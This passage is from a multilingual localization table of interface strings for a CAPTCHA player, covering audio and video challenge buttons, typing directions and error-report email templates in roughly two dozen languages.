_REFRESH_BUTTON_: "الحصول على تحد جديد",
_AUDIO_BUTTON_: "الحصول على تحدي الصوت",
_PLAYER_AUDIO_: "تحدي الصوت",
_PLAYER_VIDEO_: "تحدي الفيديو",
"_DIRECTIONS_VERBOSE[0000]_": "اكتب النص المتحرك",
"_DIRECTIONS[0000]_": "النص المتحرك",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "اكتب النص تسمع",
"_DIRECTIONS_AUDIO[0000]_": "نص تسمع",
_AUDIO_BUTTON_RETURN_: "العودة إلى تحدي البصرية",
"_DIRECTIONS2[0000]_": "النص المتحرك",
"_DIRECTIONS2_VERBOSE[0000]_": "اكتب النص المتحرك",
"_DIRECTIONS2_AUDIO[0000]_": "نص تسمع",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "اكتب النص تسمع",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
ger: {
_DOWNLOAD_AUDIO_: "Audio-Captcha laden",
_AUDIO_LISTEN_AGAIN_: "Audio-Captcha erneut abspielen",
_AUDIO_NEW_CHALLENGE_: "Neues Captcha laden",
_REFRESH_BUTTON_: "Neues Captcha laden",
_AUDIO_BUTTON_: "Audio-Captcha laden",
_PLAYER_AUDIO_: "Audio-Herausforderung",
_PLAYER_VIDEO_: "Video-Herausforderung",
"_DIRECTIONS_VERBOSE[0000]_": "Animierte buchstaben eingeben",
"_DIRECTIONS[0000]_": "Animierte buchstaben:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Geben sie die gehörten buchstaben oder zahlen ein",
"_DIRECTIONS_AUDIO[0000]_": "Gehörte buchstaben oder zahlen:",
_AUDIO_BUTTON_RETURN_: "Zurück zum visuellen Captcha",
"_DIRECTIONS2[0000]_": "Animierte buchstaben:",
"_DIRECTIONS2_VERBOSE[0000]_": "Animierte buchstaben eingeben",
"_DIRECTIONS2_AUDIO[0000]_": "Gehörte buchstaben oder zahlen:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Geben sie die gehörten buchstaben oder zahlen ein",
_ERROR_: "Ein unerwarteter Fehler ist aufgetreten.<br>Bitte %_MAILTO_START_%klicken Sie hier%_MAILTO_END_% ,um das Problem zu melden.",
_ERROR_EMAIL_SUBJECT_: "Player Fehler",
_ERROR_EMAIL_BODY_: "Bitte teilen Sie uns mit, was passiert ist, damit wir unser System verbessern können.\n\nFehler Details\n==========\n%_DETAILS_%",
_JS_REQUIRED_: "Javascript required"
},
dan: {
_DOWNLOAD_AUDIO_: "Hent en lydprøve",
_AUDIO_LISTEN_AGAIN_: "Spil lydprøve igen",
_AUDIO_NEW_CHALLENGE_: "Få en ny prøve",
_REFRESH_BUTTON_: "En ny prøve",
_AUDIO_BUTTON_: "En ny lydprøve",
_PLAYER_AUDIO_: "Audio Udfordringen",
_PLAYER_VIDEO_: "Video Udfordringen",
"_DIRECTIONS_VERBOSE[0000]_": "Skriv de bevægelige bogstaver",
"_DIRECTIONS[0000]_": "Bevægelige bogstaver:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Skriv de bogstaver og cifre som du hører",
"_DIRECTIONS_AUDIO[0000]_": "Bogstaver og cifre som du hører:",
_AUDIO_BUTTON_RETURN_: "Gå tilbage til visuel prøve",
"_DIRECTIONS2[0000]_": "Bevægelige bogstaver:",
"_DIRECTIONS2_VERBOSE[0000]_": "Skriv de bevægelige bogstaver",
"_DIRECTIONS2_AUDIO[0000]_": "Bogstaver og cifre som du hører:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Skriv de bogstaver og cifre som du hører",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
spa: {
_DOWNLOAD_AUDIO_: "Descargar un test de audio",
_AUDIO_LISTEN_AGAIN_: "Volver a reproducir audio",
_AUDIO_NEW_CHALLENGE_: "Generar un nuevo test",
_REFRESH_BUTTON_: "Generar un nuevo test",
_AUDIO_BUTTON_: "Generar un test de audio",
_PLAYER_AUDIO_: "Desafío de Audio",
_PLAYER_VIDEO_: "Desafío de Video",
"_DIRECTIONS_VERBOSE[0000]_": "Escribe los caracteres móviles",
"_DIRECTIONS[0000]_": "Caracteres móviles:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Escribe los caracteres que oigas en el audio",
"_DIRECTIONS_AUDIO[0000]_": "Caracteres que has oído:",
_AUDIO_BUTTON_RETURN_: "Volver al test visual",
"_DIRECTIONS2[0000]_": "Caracteres móviles:",
"_DIRECTIONS2_VERBOSE[0000]_": "Escribe los Caracteres móviles",
"_DIRECTIONS2_AUDIO[0000]_": "Caracteres que has oído:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Escribe los caracteres que oigas en el audio",
_ERROR_: "Ha surgido un error inesperado.<br>Por favor %_MAILTO_START_%haz clic aquí%_MAILTO_END_% para informar del problema.",
_ERROR_EMAIL_SUBJECT_: "Error del reproductor",
_ERROR_EMAIL_BODY_: "Cuéntanos lo sucedido para que podamos mejorar el sistema.\n\nDetalles del error\n==========\n%_DETAILS_%",
_JS_REQUIRED_: "Javascript required"
},
fin: {
_DOWNLOAD_AUDIO_: "Lataa äänihaaste",
_AUDIO_LISTEN_AGAIN_: "Toista ääninäyte",
_AUDIO_NEW_CHALLENGE_: "Uusi haaste",
_REFRESH_BUTTON_: "Uusi haaste",
_AUDIO_BUTTON_: "Äänihaaste",
_PLAYER_AUDIO_: "äänihaaste",
_PLAYER_VIDEO_: "videohaaste",
"_DIRECTIONS_VERBOSE[0000]_": "Kirjoita liikkuvat kirjaimet",
"_DIRECTIONS[0000]_": "Liikkuvat kirjaimet:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Kirjoita kuulemasi kirjaimet tai numerot",
"_DIRECTIONS_AUDIO[0000]_": "Kuulemasi kirjaimet tai numerot:",
_AUDIO_BUTTON_RETURN_: "Palaa näköhaasteeseen",
"_DIRECTIONS2[0000]_": "Liikkuvat kirjaimet:",
"_DIRECTIONS2_VERBOSE[0000]_": "Kirjoita liikkuvat kirjaimet",
"_DIRECTIONS2_AUDIO[0000]_": "Kuulemasi kirjaimet tai numerot:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Kirjoita kuulemasi kirjaimet tai numerot",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
fre: {
_DOWNLOAD_AUDIO_: "Télécharger un test audio",
_AUDIO_LISTEN_AGAIN_: "Rejouer l’extrait audio",
_AUDIO_NEW_CHALLENGE_: "Obtenir un nouveau test",
_REFRESH_BUTTON_: "Obtenir un nouveau test",
_AUDIO_BUTTON_: "Obtenir un test audio",
_PLAYER_AUDIO_: "Défi de audio",
_PLAYER_VIDEO_: "Défi de vidéo",
"_DIRECTIONS_VERBOSE[0000]_": "Saisissez les lettres déformées",
"_DIRECTIONS[0000]_": "Lettres déformées :",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Saisissez les lettres ou les chiffres audio entendus",
"_DIRECTIONS_AUDIO[0000]_": "Lettres ou chiffres audio entendus :",
_AUDIO_BUTTON_RETURN_: "Revenir au test visuel",
"_DIRECTIONS2[0000]_": "Lettres déformées :",
"_DIRECTIONS2_VERBOSE[0000]_": "Saisissez les lettres déformées",
"_DIRECTIONS2_AUDIO[0000]_": "Lettres ou chiffres audio entendus :",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Saisissez les lettres ou les chiffres audio entendus",
_ERROR_: "Une erreur inattendue a eu lieu.<br>Veuillez %_MAILTO_START_%cliquer ici%_MAILTO_END_% pour transmettre le problème.",
_ERROR_EMAIL_SUBJECT_: "Erreur du lecteur",
_ERROR_EMAIL_BODY_: "Veuillez nous expliquer ce qui s'est passé afin que nous puissions améliorer notre système.\n\nDétails de l'erreur\n==========\n%_DETAILS_%",
_JS_REQUIRED_: "Javascript required."
},
ind: {
_DOWNLOAD_AUDIO_: "Unduh Tes Suara",
_AUDIO_LISTEN_AGAIN_: "Putar ulang Tes Suara",
_AUDIO_NEW_CHALLENGE_: "Unduh Tes Suara Baru",
_REFRESH_BUTTON_: "Dapatkan Tes Baru",
_AUDIO_BUTTON_: "Dapatkan Tes Suara",
_PLAYER_AUDIO_: "Audio tantangan",
_PLAYER_VIDEO_: "Video tantangan",
"_DIRECTIONS_VERBOSE[0000]_": "Ketik Huruf yang bergerak",
"_DIRECTIONS[0000]_": "Huruf yang bergerak:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Ketik huruf dan nomor yang anda dengar",
"_DIRECTIONS_AUDIO[0000]_": "Huruf yang anda dengar:",
_AUDIO_BUTTON_RETURN_: "Kembali ke Tes Visual",
"_DIRECTIONS2[0000]_": "Huruf yang bergerak:",
"_DIRECTIONS2_VERBOSE[0000]_": "Ketik Huruf yang bergerak",
"_DIRECTIONS2_AUDIO[0000]_": "Huruf yang anda dengar:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Ketik huruf dan nomor yang anda dengar",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
ita: {
_DOWNLOAD_AUDIO_: "Scarica il test audio",
_AUDIO_LISTEN_AGAIN_: "Ascolta di nuovo",
_AUDIO_NEW_CHALLENGE_: "Carica un nuovo test",
_REFRESH_BUTTON_: "Carica un nuovo test",
_AUDIO_BUTTON_: "Carica un nuovo test audio",
_PLAYER_AUDIO_: "Test audio",
_PLAYER_VIDEO_: "Test video",
"_DIRECTIONS_VERBOSE[0000]_": "Inserisci le lettere in movimento",
"_DIRECTIONS[0000]_": "Lettere in movimento:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Inserisci le lettere e i numeri che hai sentito",
"_DIRECTIONS_AUDIO[0000]_": "Lettere e numeri che hai sentito:",
_AUDIO_BUTTON_RETURN_: "Ritorna al test visivo",
"_DIRECTIONS2[0000]_": "Lettere in movimento:",
"_DIRECTIONS2_VERBOSE[0000]_": "Inserisci le lettere in movimento",
"_DIRECTIONS2_AUDIO[0000]_": "Lettere e numeri che hai sentito:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Inserisci le lettere e i numeri che hai sentito",
_ERROR_: "Si è verificato un errore imprevisto.<br>Fai %_MAILTO_START_%clic qui%_MAILTO_END_% per segnalare il problema.",
_ERROR_EMAIL_SUBJECT_: "Errore del lettore",
_ERROR_EMAIL_BODY_: "Facci sapere cosa è successo in modo che possiamo migliorare il nostro sistema.\n\nDettagli errore\n==========\n%_DETAILS_%",
_JS_REQUIRED_: "Javascript required"
},
kor: {
_DOWNLOAD_AUDIO_: "음성 캡차 다운로드하기",
_AUDIO_LISTEN_AGAIN_: "음성 캡차 샘플 다시 듣기",
_AUDIO_NEW_CHALLENGE_: "새로운 캡차 로드하기",
_REFRESH_BUTTON_: "새로운 캡차 로드하기",
_AUDIO_BUTTON_: "음성 캡차 사용하기",
_PLAYER_AUDIO_: "음성 캡차",
_PLAYER_VIDEO_: "이미지 캡차",
"_DIRECTIONS_VERBOSE[0000]_": "움직이는 글자를 입력하십시오.",
"_DIRECTIONS[0000]_": "움직이는 글자:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "들리는 대로 숫자를 입력하십시오.",
"_DIRECTIONS_AUDIO[0000]_": "들리는 숫자:",
_AUDIO_BUTTON_RETURN_: "이미지 캡차로 돌아가기",
"_DIRECTIONS2[0000]_": "움직이는 글자:",
"_DIRECTIONS2_VERBOSE[0000]_": "움직이는 글자를 입력하십시오.",
"_DIRECTIONS2_AUDIO[0000]_": "들리는 숫자:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "들리는 대로 숫자를 입력하십시오.",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
msa: {
_DOWNLOAD_AUDIO_: "Muat turun Sampel Audio",
_AUDIO_LISTEN_AGAIN_: "Main semula sampel Audio",
_AUDIO_NEW_CHALLENGE_: "Dapatkan Sampel Baru",
_REFRESH_BUTTON_: "Dapatkan Sampel baru",
_AUDIO_BUTTON_: "Dapatkan Sampel Audio",
_PLAYER_AUDIO_: "Sampel Audio",
_PLAYER_VIDEO_: "Sampel Video",
"_DIRECTIONS_VERBOSE[0000]_": "Taip huruf yang bergerak",
"_DIRECTIONS[0000]_": "Huruf yang bergerak",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Taip huruf dan nombor yang anda dengar di audio",
"_DIRECTIONS_AUDIO[0000]_": "Huruf dan nombor yang anda dengar:",
_AUDIO_BUTTON_RETURN_: "Kembali ke Sampel Visual",
"_DIRECTIONS2[0000]_": "Huruf yang bergerak",
"_DIRECTIONS2_VERBOSE[0000]_": "Taip huruf yang bergerak",
"_DIRECTIONS2_AUDIO[0000]_": "Huruf dan nombor yang anda dengar:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Taip huruf dan nombor yang anda dengar di audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
nld: {
_DOWNLOAD_AUDIO_: "Download een audio uitdaging",
_AUDIO_LISTEN_AGAIN_: "Speel audio opnieuw af",
_AUDIO_NEW_CHALLENGE_: "Beluister een nieuwe uitdaging",
_REFRESH_BUTTON_: "Nieuwe uitdaging",
_AUDIO_BUTTON_: "Beluister audio uitdaging",
_PLAYER_AUDIO_: "Audio uitdaging",
_PLAYER_VIDEO_: "Video uitdaging",
"_DIRECTIONS_VERBOSE[0000]_": "Typ de bewegende letters in",
"_DIRECTIONS[0000]_": "Bewegende letters:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Typ de letters of nummers in die u hoort",
"_DIRECTIONS_AUDIO[0000]_": "Letters of nummers die u hoort:",
_AUDIO_BUTTON_RETURN_: "Ga terug naar de visuele uitdaging",
"_DIRECTIONS2[0000]_": "Bewegende letters:",
"_DIRECTIONS2_VERBOSE[0000]_": "Typ de bewegende letters in",
"_DIRECTIONS2_AUDIO[0000]_": "Letters of nummers die u hoort:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Typ de letters of nummers in die u hoort",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
nor: {
_DOWNLOAD_AUDIO_: "Last ned en lydtest",
_AUDIO_LISTEN_AGAIN_: "Spill lydtest igjen",
_AUDIO_NEW_CHALLENGE_: "Få en ny test",
_REFRESH_BUTTON_: "Få en ny test",
_AUDIO_BUTTON_: "Få en lydtest",
_PLAYER_AUDIO_: "lydtest",
_PLAYER_VIDEO_: "videotest",
"_DIRECTIONS_VERBOSE[0000]_": "Skriv inn de bevegelige bokstavene",
"_DIRECTIONS[0000]_": "Bevegelige bokstaver:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Skriv inn bokstavene eller tallene du hører",
"_DIRECTIONS_AUDIO[0000]_": "Bokstaver og tall du hører:",
_AUDIO_BUTTON_RETURN_: "Gå tilbake til visuell test",
"_DIRECTIONS2[0000]_": "Bevegelige bokstaver:",
"_DIRECTIONS2_VERBOSE[0000]_": "Skriv inn de bevegelige bokstavene",
"_DIRECTIONS2_AUDIO[0000]_": "Bokstaver og tall du hører:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Skriv inn bokstavene eller tallene du hører",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
por: {
_DOWNLOAD_AUDIO_: "Descarregar a amostra de áudio",
_AUDIO_LISTEN_AGAIN_: "Repetir amostra de áudio",
_AUDIO_NEW_CHALLENGE_: "Obter um novo captcha",
_REFRESH_BUTTON_: "Obter um novo captcha",
_AUDIO_BUTTON_: "Obter um captcha em áudio",
_PLAYER_AUDIO_: "Desafio de áudio",
_PLAYER_VIDEO_: "Desafio vídeo",
"_DIRECTIONS_VERBOSE[0000]_": "Digite as letras em movimento",
"_DIRECTIONS[0000]_": "Letras em movimento:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Digite as letras ou números que ouviu na amostra",
"_DIRECTIONS_AUDIO[0000]_": "Letras ou números que ouviu:",
_AUDIO_BUTTON_RETURN_: "Regressar ao captcha",
"_DIRECTIONS2[0000]_": "Letras em movimento:",
"_DIRECTIONS2_VERBOSE[0000]_": "Digite as letras em movimento",
"_DIRECTIONS2_AUDIO[0000]_": "Letras ou números que ouviu:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Digite as letras ou números que ouviu na amostra",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
bra: {
_DOWNLOAD_AUDIO_: "Baixar a amostra de áudio",
_AUDIO_LISTEN_AGAIN_: "Repetir amostra de áudio",
_AUDIO_NEW_CHALLENGE_: "Obter novo captcha",
_REFRESH_BUTTON_: "Obter um novo captcha",
_AUDIO_BUTTON_: "Obter um novo áudio",
_PLAYER_AUDIO_: "Desafio de áudio",
_PLAYER_VIDEO_: "Desafio vídeo",
"_DIRECTIONS_VERBOSE[0000]_": "Digite as letras em movimento",
"_DIRECTIONS[0000]_": "Letras em movimento:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Digite as letras ou números que ouviu na amostra",
"_DIRECTIONS_AUDIO[0000]_": "Letras ou números que você ouviu:",
_AUDIO_BUTTON_RETURN_: "Volte ao captcha",
"_DIRECTIONS2[0000]_": "Letras em movimento:",
"_DIRECTIONS2_VERBOSE[0000]_": "Digite as letras em movimento",
"_DIRECTIONS2_AUDIO[0000]_": "Letras ou números que você ouviu:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Digite as letras ou números que ouviu na amostra",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
rus: {
_DOWNLOAD_AUDIO_: "Загрузить звуковую запись",
_AUDIO_LISTEN_AGAIN_: "Повторить звуковую запись",
_AUDIO_NEW_CHALLENGE_: "Начать сначала",
_REFRESH_BUTTON_: "Начать сначала",
_AUDIO_BUTTON_: "Прослушать звуковую запись",
_PLAYER_AUDIO_: "Звуковая запись",
_PLAYER_VIDEO_: "Видеозапись",
"_DIRECTIONS_VERBOSE[0000]_": "Введите плавающие буквы",
"_DIRECTIONS[0000]_": "Плавающие буквы:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Введите буквы или числа, которые услышите в аудиозаписи",
"_DIRECTIONS_AUDIO[0000]_": "Буквы или числа, которые Вы слышите:",
_AUDIO_BUTTON_RETURN_: "Вернуться к графической проверке",
"_DIRECTIONS2[0000]_": "Плавающие буквы:",
"_DIRECTIONS2_VERBOSE[0000]_": "Введите плавающие буквы",
"_DIRECTIONS2_AUDIO[0000]_": "Буквы или числа, которые Вы слышите:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Введите буквы или числа, которые услышите в аудиозаписи",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
swe: {
_DOWNLOAD_AUDIO_: "Hämta ett ljudtest",
_AUDIO_LISTEN_AGAIN_: "Spela ljudtestet igen",
_AUDIO_NEW_CHALLENGE_: "Få ett nytt test",
_REFRESH_BUTTON_: "Ett nytt test",
_AUDIO_BUTTON_: "Ett nytt ljudtest",
_PLAYER_AUDIO_: "Ljudtest",
_PLAYER_VIDEO_: "Videotest",
"_DIRECTIONS_VERBOSE[0000]_": "Skriv de rörliga bokstäverna",
"_DIRECTIONS[0000]_": "Rörliga bokstäver:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Skriv bokstäverna eller siffrorna som du hör",
"_DIRECTIONS_AUDIO[0000]_": "Bokstäver eller siffror som du hör:",
_AUDIO_BUTTON_RETURN_: "Gå tillbaka till visuelltest.",
"_DIRECTIONS2[0000]_": "Rörliga bokstäver:",
"_DIRECTIONS2_VERBOSE[0000]_": "Skriv de rörliga bokstäverna",
"_DIRECTIONS2_AUDIO[0000]_": "Bokstäver eller siffror som du hör:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Skriv bokstäverna eller siffrorna som du hör",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
tha: {
_DOWNLOAD_AUDIO_: "ดาวน์โหลดรหัสยืนยันเสียง",
_AUDIO_LISTEN_AGAIN_: "รับฟังตัวอย่างเสียงอีกครั้ง",
_AUDIO_NEW_CHALLENGE_: "รับรหัสยืนยันใหม่",
_REFRESH_BUTTON_: "รับรหัสยืนยันใหม่",
_AUDIO_BUTTON_: "รับรหัสยืนยันเสียง",
_PLAYER_AUDIO_: "รหัสยืนยันเสียง",
_PLAYER_VIDEO_: "รหัสยืนยันวีดีโอ",
"_DIRECTIONS_VERBOSE[0000]_": "พิมพ์ตัวอักษรที่เคลื่อนไหว",
"_DIRECTIONS[0000]_": "ตัวอักษรที่เคลื่อนไหวคือ:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "พิมพ์ตัวเลขที่คุณได้ยิน",
"_DIRECTIONS_AUDIO[0000]_": "ตัวเลขที่คุณได้ยิน:",
_AUDIO_BUTTON_RETURN_: "กลับไปยังหน้ารหัสยืนยัน",
"_DIRECTIONS2[0000]_": "ตัวอักษรที่เคลื่อนไหวคือ:",
"_DIRECTIONS2_VERBOSE[0000]_": "พิมพ์ตัวอักษรที่เคลื่อนไหว",
"_DIRECTIONS2_AUDIO[0000]_": "ตัวเลขที่คุณได้ยิน:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "พิมพ์ตัวเลขที่คุณได้ยิน",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
crh: {
_DOWNLOAD_AUDIO_: "Sesli Testi İndir",
_AUDIO_LISTEN_AGAIN_: "Ses Örneğini Yeniden Çal",
_AUDIO_NEW_CHALLENGE_: "Yeni Test",
_REFRESH_BUTTON_: "Yeni Test",
_AUDIO_BUTTON_: "Sesli Test",
_PLAYER_AUDIO_: "Ses Testi",
_PLAYER_VIDEO_: "Video Testi",
"_DIRECTIONS_VERBOSE[0000]_": "Hareketli harfleri yazın",
"_DIRECTIONS[0000]_": "Hareketli harfler:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Ses Örneğinde duyduğunuz harfleri veya sayıları yazın",
"_DIRECTIONS_AUDIO[0000]_": "Duyduğunuz harfler veya sayılar:",
_AUDIO_BUTTON_RETURN_: "Görsel Teste Geri Dön",
"_DIRECTIONS2[0000]_": "Hareketli harfler:",
"_DIRECTIONS2_VERBOSE[0000]_": "Hareketli harfleri yazın",
"_DIRECTIONS2_AUDIO[0000]_": "Duyduğunuz harfler veya sayılar:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Ses Örneğinde duyduğunuz harfleri veya sayıları yazın",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
vie: {
_DOWNLOAD_AUDIO_: "Tải về mẫu Captcha Audio",
_AUDIO_LISTEN_AGAIN_: "Phát âm mẫu Captcha",
_AUDIO_NEW_CHALLENGE_: "Nhận mẫu Captcha mới",
_REFRESH_BUTTON_: "Nhận mẫu Captcha mới",
_AUDIO_BUTTON_: "Nhận mẫu Captcha Audio",
_PLAYER_AUDIO_: "Mẫu Audio",
_PLAYER_VIDEO_: "Mẫu Video",
"_DIRECTIONS_VERBOSE[0000]_": "Nhập ký tự chữ động",
"_DIRECTIONS[0000]_": "Ký tự chữ động:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Nhập các ký tự nghe được",
"_DIRECTIONS_AUDIO[0000]_": "Các ký tự bạn nghe là:",
_AUDIO_BUTTON_RETURN_: "Trở lại Mẫu Hình Ảnh",
"_DIRECTIONS2[0000]_": "Ký tự chữ động:",
"_DIRECTIONS2_VERBOSE[0000]_": "Nhập ký tự chữ động",
"_DIRECTIONS2_AUDIO[0000]_": "Các ký tự bạn nghe là:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Nhập các ký tự nghe được",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
zho: {
_DOWNLOAD_AUDIO_: "下载音频问题",
_AUDIO_LISTEN_AGAIN_: "重播音频例句",
_AUDIO_NEW_CHALLENGE_: "获取新问题",
_REFRESH_BUTTON_: "获取新问题",
_AUDIO_BUTTON_: "获取新音频问题",
_PLAYER_AUDIO_: "音频问题",
_PLAYER_VIDEO_: "视频问题",
"_DIRECTIONS_VERBOSE[0000]_": "输入晃动的字母",
"_DIRECTIONS[0000]_": "晃动的字母:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "输入您在音频中听到的数字",
"_DIRECTIONS_AUDIO[0000]_": "您听到的数字:",
_AUDIO_BUTTON_RETURN_: "返回视频问题",
"_DIRECTIONS2[0000]_": "晃动的字母:",
"_DIRECTIONS2_VERBOSE[0000]_": "输入晃动的字母",
"_DIRECTIONS2_AUDIO[0000]_": "您听到的数字:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "输入您在音频中听到的数字",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
cmn: {
_DOWNLOAD_AUDIO_: "下載音訊問題",
_AUDIO_LISTEN_AGAIN_: "播放音訊樣本",
_AUDIO_NEW_CHALLENGE_: "取得新問題",
_REFRESH_BUTTON_: "取得新問題",
_AUDIO_BUTTON_: "取得新音訊問題",
_PLAYER_AUDIO_: "音訊問題",
_PLAYER_VIDEO_: "視訊問題",
"_DIRECTIONS_VERBOSE[0000]_": "輸入晃動的字母",
"_DIRECTIONS[0000]_": "晃動的字母:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "輸入您在音訊中聽到的數字",
"_DIRECTIONS_AUDIO[0000]_": "您聽到的數字:",
_AUDIO_BUTTON_RETURN_: "返回視訊問題",
"_DIRECTIONS2[0000]_": "晃動的字母:",
"_DIRECTIONS2_VERBOSE[0000]_": "輸入晃動的字母",
"_DIRECTIONS2_AUDIO[0000]_": "您聽到的數字:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "輸入您在音訊中聽到的數字",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
yue: {
_DOWNLOAD_AUDIO_: "下載音訊問題",
_AUDIO_LISTEN_AGAIN_: "播放音訊樣本",
_AUDIO_NEW_CHALLENGE_: "取得新問題",
_REFRESH_BUTTON_: "取得新問題",
_AUDIO_BUTTON_: "取得新音訊問題",
_PLAYER_AUDIO_: "音訊問題",
_PLAYER_VIDEO_: "視訊問題",
"_DIRECTIONS_VERBOSE[0000]_": "輸入晃動的字母",
"_DIRECTIONS[0000]_": "晃動的字母:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "輸入您在音訊中聽到的數字",
"_DIRECTIONS_AUDIO[0000]_": "您聽到的數字:",
_AUDIO_BUTTON_RETURN_: "返回視訊問題",
"_DIRECTIONS2[0000]_": "晃動的字母:",
"_DIRECTIONS2_VERBOSE[0000]_": "輸入晃動的字母",
"_DIRECTIONS2_AUDIO[0000]_": "您聽到的數字:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "輸入您在音訊中聽到的數字",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
hans: {
_DOWNLOAD_AUDIO_: "下载音频问题",
_AUDIO_LISTEN_AGAIN_: "重播音频例句",
_AUDIO_NEW_CHALLENGE_: "获取新问题",
_REFRESH_BUTTON_: "获取新问题",
_AUDIO_BUTTON_: "获取新音频问题",
_PLAYER_AUDIO_: "音频问题",
_PLAYER_VIDEO_: "视频问题",
"_DIRECTIONS_VERBOSE[0000]_": "输入晃动的字母",
"_DIRECTIONS[0000]_": "晃动的字母:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "输入您在音频中听到的数字",
"_DIRECTIONS_AUDIO[0000]_": "您听到的数字:",
_AUDIO_BUTTON_RETURN_: "返回视频问题",
"_DIRECTIONS2[0000]_": "晃动的字母:",
"_DIRECTIONS2_VERBOSE[0000]_": "输入晃动的字母",
"_DIRECTIONS2_AUDIO[0000]_": "您听到的数字:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "输入您在音频中听到的数字",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
hant: {
_DOWNLOAD_AUDIO_: "下載音訊問題",
_AUDIO_LISTEN_AGAIN_: "播放音訊樣本",
_AUDIO_NEW_CHALLENGE_: "取得新問題",
_REFRESH_BUTTON_: "取得新問題",
_AUDIO_BUTTON_: "取得新音訊問題",
_PLAYER_AUDIO_: "音訊問題",
_PLAYER_VIDEO_: "視訊問題",
"_DIRECTIONS_VERBOSE[0000]_": "輸入晃動的字母",
"_DIRECTIONS[0000]_": "晃動的字母:",
